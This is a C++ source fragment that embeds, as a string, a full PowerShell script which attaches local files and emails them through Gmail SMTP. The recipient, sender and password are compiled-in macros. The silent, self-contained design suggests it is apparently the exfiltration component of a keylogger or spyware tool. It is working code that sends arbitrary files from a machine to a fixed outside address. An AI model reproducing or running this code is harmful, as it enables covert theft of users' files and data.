const std::string &PowerShellScript =

"Param( \r\n [String]$Att,\r\n [String]$Subj,\r\n "

"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"

" {\r\n Param (\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$To,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$From,\r\n [Parameter(`\r\n mandatory=$true)]\r\n "

"[String]$Password,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$Subject,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$Body,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$attachment\r\n )\r\n try\r\n {\r\n $Msg = New-Object "

"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n $Srv = \"smtp.gmail.com\" "

"\r\n if ($attachment -ne $null) {\r\n try\r\n {\r\n"

" $Attachments = $attachment -split (\"\\:\\:\");\r\n "

" ForEach ($val in $Attachments)\r\n "

" {\r\n "

" $attch = New-Object System.Net.Mail.Attachment($val)\r\n "

" $Msg.Attachments.Add($attch)\r\n }\r\n "

"}\r\n catch\r\n {\r\n exit 2; "

"\r\n }\r\n }\r\n "

" $Client = New-Object Net.Mail.SmtpClient($Srv, 587) #587 port for smtp.gmail.com SSL\r\n "

" $Client.EnableSsl = $true \r\n $Client.Credentials = New-Object "

"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n $Client.Send($Msg)\r\n "

" Remove-Variable -Name Client\r\n Remove-Variable -Name Password\r\n "

"exit 7; \r\n }\r\n catch\r\n {\r\n exit 3; "

" \r\n }\r\n} #End Function Send-EMail\r\ntry\r\n {\r\n "

"Send-EMail -attachment $Att "

"-To \"" +

std::string (X\_EM\_TO) +

"\""

" -Body $Body -Subject $Subj "

"-password \"" +

std::string (X\_EM\_PASS) +

"\""

" -From \"" +

std::string (X\_EM\_FROM) +

"\"""\r\n }\r\ncatch\r\n {\r\n exit 4; \r\n }";